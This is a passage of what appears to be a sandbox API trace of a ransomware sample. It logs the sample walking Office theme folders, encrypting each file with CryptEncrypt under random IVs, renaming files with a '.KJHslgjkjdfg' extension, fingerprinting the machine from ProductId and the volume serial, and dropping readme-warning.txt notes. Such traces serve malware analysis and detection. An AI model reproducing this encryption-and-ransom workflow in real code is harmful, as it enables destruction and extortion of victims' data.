lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.089] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.089] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.089] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.089] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x505f, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x505f, lpOverlapped=0x0) returned 1 [0172.090] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x5060, dwBufLen=0x5060 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x5060) returned 1 [0172.091] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.091] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x5060, lpOverlapped=0x0) returned 1 [0172.091] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.091] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x5134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.091] SetEndOfFile (hFile=0x12c) returned 1 [0172.094] GetProcessHeap () returned 0x990000 [0172.094] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.094] GetProcessHeap () returned 0x990000 [0172.094] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.100] CloseHandle (hObject=0x12c) returned 1 [0172.100] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.100] GetProcessHeap () returned 0x990000 [0172.100] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.100] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.100] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0172.100] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.100] GetProcessHeap () returned 0x990000 [0172.100] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0172.100] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.100] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0172.100] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.100] GetProcessHeap () returned 0x990000 [0172.100] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99f0 [0172.100] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.101] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99f0, pdwDataLen=0x29dee20 | out: pbData=0x9f99f0, pdwDataLen=0x29dee20) returned 1 [0172.101] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.101] GetProcessHeap () returned 0x990000 [0172.101] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0172.101] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.101] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0172.101] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.101] GetProcessHeap () returned 0x990000 [0172.101] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.101] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.101] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0172.101] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.101] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0172.101] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0172.101] RegCloseKey (hKey=0x12c) returned 0x0 [0172.101] GetProcessHeap () returned 0x990000 [0172.101] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0172.102] GetProcessHeap () returned 0x990000 [0172.102] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.102] GetProcessHeap () returned 0x990000 [0172.102] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.102] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.102] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0172.102] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.102] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.102] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.103] GetProcessHeap () returned 0x990000 [0172.103] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.103] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.103] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.103] GetProcessHeap () returned 0x990000 [0172.103] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0172.103] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\readme-warning.txt") returned 82 [0172.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.104] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.106] CloseHandle (hObject=0x12c) returned 1 [0172.106] GetProcessHeap () returned 0x990000 [0172.106] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0172.106] GetProcessHeap () returned 0x990000 [0172.106] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0172.106] GetProcessHeap () returned 0x990000 [0172.106] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0172.106] GetProcessHeap () returned 0x990000 [0172.106] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.107] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0172.107] GetProcessHeap () returned 0x990000 [0172.107] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0172.107] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0172.107] GetProcessHeap () returned 0x990000 [0172.107] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x92) returned 0x9b0940 [0172.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0172.126] GetProcessHeap () returned 0x990000 [0172.126] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0172.126] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.126] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0172.126] GetProcessHeap () returned 0x990000 [0172.126] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x294) returned 0x9b1eb0 [0172.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.128] GetProcessHeap () returned 0x990000 [0172.128] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.128] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.128] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.128] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.132] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.132] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.132] GetProcessHeap () returned 0x990000 [0172.132] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.132] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.132] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.132] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.132] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.132] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.132] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.132] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.132] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.133] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.133] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.133] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.133] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb1d8, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xb1d8, lpOverlapped=0x0) returned 1 [0172.134] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xb1e0, dwBufLen=0xb1e0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xb1e0) returned 1 [0172.135] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.135] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb1e0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xb1e0, lpOverlapped=0x0) returned 1 [0172.135] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.135] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.135] SetEndOfFile (hFile=0x12c) returned 1 [0172.138] GetProcessHeap () returned 0x990000 [0172.138] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.138] GetProcessHeap () returned 0x990000 [0172.138] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.kjhslgjkjdfg")) returned 1 [0172.144] CloseHandle (hObject=0x12c) returned 1 [0172.144] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0172.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.146] GetProcessHeap () returned 0x990000 [0172.146] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.147] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.147] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.147] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.147] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.147] GetProcessHeap () returned 0x990000 [0172.147] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.147] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.147] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.147] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.149] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.149] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.149] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.149] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.149] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.150] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.150] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.150] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.150] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1e0, lpOverlapped=0x0) returned 1 [0172.150] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1e0) returned 1 [0172.150] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.150] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1e0, lpOverlapped=0x0) returned 1 [0172.150] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.150] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.150] SetEndOfFile (hFile=0x12c) returned 1 [0172.153] GetProcessHeap () returned 0x990000 [0172.153] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.153] GetProcessHeap () returned 0x990000 [0172.153] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf.kjhslgjkjdfg")) returned 1 [0172.164] CloseHandle (hObject=0x12c) returned 1 [0172.164] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.165] GetProcessHeap () returned 0x990000 [0172.165] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.165] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.165] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.165] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0172.173] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, 